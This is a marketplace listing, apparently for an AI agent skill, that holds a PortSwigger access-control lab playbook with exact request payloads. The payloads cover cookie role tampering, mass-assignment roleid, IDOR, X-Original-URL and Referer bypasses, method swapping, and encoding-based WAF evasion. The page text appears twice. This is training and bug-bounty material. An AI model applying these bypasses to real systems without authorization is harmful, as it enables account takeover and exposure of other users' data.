access-control

Name: access-control
Author: ShulkwiSEC

18stars5forks

How to install access-control?

shulkwisec/bb-huge/access-control

$npx -y skills add ShulkwiSEC/bb-huge --skill access-control

Installs into the current project.

Summary

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

Files · 1

View on GitHub

SKILL.md

1	# Access Control — Complete Deep Dive
2
3	> Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,
4	> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
5
6	## When to Use
7	- BSCP certification prep
8	- Real-world bug bounty hunting
9	- Building exploitation chains
10	- Understanding bypass techniques
11
12	## Prerequisites
13	- Burp Suite Professional
14	- Burp Collaborator / interactsh
15	- Browser with proxy configured
16
17
18	## Workflow
19	### Phase 1: Reconnaissance
20	- Identify input vectors, parameters, and application behavior.
21	### Phase 2: Exploitation
22	- Apply standard lab payloads.
23	### Phase 3: Zero-Day Escalation
24	- Fuzz filters, bypass WAFs, and chain with other vulns.
25
26	## Lab Playbooks
27
28	### Lab 1: Unprotected admin 🟢 APPRENTICE
29	`/robots.txt` reveals `/administrator-panel`. Navigate directly.
30	---
31
32	### Lab 2: Unpredictable URL admin 🟢 APPRENTICE
33	Check page source/JS for leaked admin URL: `adminPanelTag.setAttribute('href', '/admin-abcd1234');`
34	---
35
36	### Lab 3: Role via request parameter 🟢 APPRENTICE
37	```http
38	Cookie: session=xxx; Admin=true
39	```
40	Change `Admin=false` to `Admin=true` or `roleid=2`.
41	---
42
43	### Lab 4: Role modified in profile 🟢 APPRENTICE
44	```json
45	{"email":"a@b.com","roleid":2}
46	```
47	Add `roleid` to the profile update JSON request (mass assignment).
48	---
49
50	### Lab 5: User ID in request param 🟢 APPRENTICE
51	```http
52	GET /my-account?id=carlos HTTP/1.1
53	```
54	---
55
56	### Lab 6: Unpredictable user IDs 🟡 PRACTITIONER
57	Find victim's GUID in blog posts/comments, then: `/my-account?id=VICTIM-GUID`.
58	---
59
60	### Lab 7: Data leakage in redirect 🟡 PRACTITIONER
61	```http
62	GET /my-account?id=carlos HTTP/1.1
63	```
64	Response body contains API key BEFORE the 302 redirect fires.
65	---
66
67	### Lab 8: Password disclosure 🟡 PRACTITIONER
68	`/my-account?id=administrator` — password visible in masked input field (view source).
69	---
70
71	### Lab 9: IDOR 🟢 APPRENTICE
72	```http
73	GET /download-transcript/2.txt HTTP/1.1
74	```
75	Change `1.txt` to `2.txt` etc to download other users' chat transcripts.
76	---
77
78	### Lab 10: URL-based AC bypass 🟡 PRACTITIONER
79	```http
80	GET /?username=carlos HTTP/1.1
81	X-Original-URL: /admin/delete
82	```
83	Frontend blocks `/admin/*` but backend processes `X-Original-URL` header.
84	---
85
86	### Lab 11: Method-based AC bypass 🟡 PRACTITIONER
87	```http
88	GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
89	```
90	Change POST to GET — access control only applied to POST method.
91	---
92
93	### Lab 12: Multi-step no AC on one step 🟡 PRACTITIONER
94	Skip to step 3 (confirmation) directly without going through protected steps 1 and 2.
95	---
96
97	### Lab 13: Referer-based AC 🟡 PRACTITIONER
98	```http
99	GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
100	Referer: https://TARGET/admin
101	```
102	Server only checks Referer contains `/admin`.
103	---
104
105
106	## Blue Team Detection
107	- Monitor access logs for anomalous payloads.
108	- Implement strict input validation and parameterized queries where applicable.
109	- Create WAF rules masking generic attack patterns.
110
111	## Zero-Day Research
112	When standard technique fails:
113	1. Identify the filter/WAF
114	2. Fuzz with Burp Intruder custom wordlists
115	3. Search GitHub/Twitter for new bypasses
116	4. Chain with other vulns for escalation
117	5. Try encoding variants: URL, double-URL, unicode, hex
118
119
120	## Key Concepts
121	\| Concept \| Description \|
122	\|---------\|-------------\|
123	\| PortSwigger Vectors \| Standardized approaches to vulnerability classes. \|
124	\| Payload Encoding \| Modifying payloads to bypass basic string matching WAFs. \|
125
126
127	## Output Format
128	```
129	Vulnerability Deep-Dive Report
130	==============================
131	Target Vector: [Endpoint]
132	Bypass Technique: [Explanation of bypass]
133	Payload Used: [Payload]
134	Impact Explanation: [Impact]
135	```
136
137	## 🔵 Blue Team
138	- Deploy robust WAF rules to detect anomalies.
139	- Monitor logs for unusual access patterns.
140
141	## 🛡️ Remediation & Mitigation Strategy
142	- Input Validation: Sanitize and strictly type-check all inputs.
143	- Least Privilege: Constrain component execution bounds.
144
145
146	## 📚 Shared Resources
147	> For cross-cutting methodology applicable to all vulnerability classes, see:
148	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
149	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
150	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
151
152	## References
153	- [PortSwigger Labs](https:

People who liked this also viewed

6 picks

Type

entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026471k1.3k
azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026470k1.3k
azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026466k1.3k
better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 202678k203
firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 202676k386
audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 202665k85

access-control

18stars5forks

View on GitHub

How to install access-control?

shulkwisec/bb-huge/access-control

$npx -y skills add ShulkwiSEC/bb-huge --skill access-control

Installs into the current project.

Summary

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

Files · 1

View on GitHub

SKILL.md

1	# Access Control — Complete Deep Dive
2
3	> Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads,
4	> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
5
6	## When to Use
7	- BSCP certification prep
8	- Real-world bug bounty hunting
9	- Building exploitation chains
10	- Understanding bypass techniques
11
12	## Prerequisites
13	- Burp Suite Professional
14	- Burp Collaborator / interactsh
15	- Browser with proxy configured
16
17
18	## Workflow
19	### Phase 1: Reconnaissance
20	- Identify input vectors, parameters, and application behavior.
21	### Phase 2: Exploitation
22	- Apply standard lab payloads.
23	### Phase 3: Zero-Day Escalation
24	- Fuzz filters, bypass WAFs, and chain with other vulns.
25
26	## Lab Playbooks
27
28	### Lab 1: Unprotected admin 🟢 APPRENTICE
29	`/robots.txt` reveals `/administrator-panel`. Navigate directly.
30	---
31
32	### Lab 2: Unpredictable URL admin 🟢 APPRENTICE
33	Check page source/JS for leaked admin URL: `adminPanelTag.setAttribute('href', '/admin-abcd1234');`
34	---
35
36	### Lab 3: Role via request parameter 🟢 APPRENTICE
37	```http
38	Cookie: session=xxx; Admin=true
39	```
40	Change `Admin=false` to `Admin=true` or `roleid=2`.
41	---
42
43	### Lab 4: Role modified in profile 🟢 APPRENTICE
44	```json
45	{"email":"a@b.com","roleid":2}
46	```
47	Add `roleid` to the profile update JSON request (mass assignment).
48	---
49
50	### Lab 5: User ID in request param 🟢 APPRENTICE
51	```http
52	GET /my-account?id=carlos HTTP/1.1
53	```
54	---
55
56	### Lab 6: Unpredictable user IDs 🟡 PRACTITIONER
57	Find victim's GUID in blog posts/comments, then: `/my-account?id=VICTIM-GUID`.
58	---
59
60	### Lab 7: Data leakage in redirect 🟡 PRACTITIONER
61	```http
62	GET /my-account?id=carlos HTTP/1.1
63	```
64	Response body contains API key BEFORE the 302 redirect fires.
65	---
66
67	### Lab 8: Password disclosure 🟡 PRACTITIONER
68	`/my-account?id=administrator` — password visible in masked input field (view source).
69	---
70
71	### Lab 9: IDOR 🟢 APPRENTICE
72	```http
73	GET /download-transcript/2.txt HTTP/1.1
74	```
75	Change `1.txt` to `2.txt` etc to download other users' chat transcripts.
76	---
77
78	### Lab 10: URL-based AC bypass 🟡 PRACTITIONER
79	```http
80	GET /?username=carlos HTTP/1.1
81	X-Original-URL: /admin/delete
82	```
83	Frontend blocks `/admin/*` but backend processes `X-Original-URL` header.
84	---
85
86	### Lab 11: Method-based AC bypass 🟡 PRACTITIONER
87	```http
88	GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
89	```
90	Change POST to GET — access control only applied to POST method.
91	---
92
93	### Lab 12: Multi-step no AC on one step 🟡 PRACTITIONER
94	Skip to step 3 (confirmation) directly without going through protected steps 1 and 2.
95	---
96
97	### Lab 13: Referer-based AC 🟡 PRACTITIONER
98	```http
99	GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
100	Referer: https://TARGET/admin
101	```
102	Server only checks Referer contains `/admin`.
103	---
104
105
106	## Blue Team Detection
107	- Monitor access logs for anomalous payloads.
108	- Implement strict input validation and parameterized queries where applicable.
109	- Create WAF rules masking generic attack patterns.
110
111	## Zero-Day Research
112	When standard technique fails:
113	1. Identify the filter/WAF
114	2. Fuzz with Burp Intruder custom wordlists
115	3. Search GitHub/Twitter for new bypasses
116	4. Chain with other vulns for escalation
117	5. Try encoding variants: URL, double-URL, unicode, hex
118
119
120	## Key Concepts
121	\| Concept \| Description \|
122	\|---------\|-------------\|
123	\| PortSwigger Vectors \| Standardized approaches to vulnerability classes. \|
124	\| Payload Encoding \| Modifying payloads to bypass basic string matching WAFs. \|
125
126
127	## Output Format
128	```
129	Vulnerability Deep-Dive Report
130	==============================
131	Target Vector: [Endpoint]
132	Bypass Technique: [Explanation of bypass]
133	Payload Used: [Payload]
134	Impact Explanation: [Impact]
135	```
136
137	## 🔵 Blue Team
138	- Deploy robust WAF rules to detect anomalies.
139	- Monitor logs for unusual access patterns.
140
141	## 🛡️ Remediation & Mitigation Strategy
142	- Input Validation: Sanitize and strictly type-check all inputs.
143	- Least Privilege: Constrain component execution bounds.
144
145
146	## 📚 Shared Resources
147	> For cross-cutting methodology applicable to all vulnerability classes, see:
148	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
149	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
150	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
151
152	## References
153	- [PortSwigger Labs](https:

People who liked this also viewed

6 picks

Type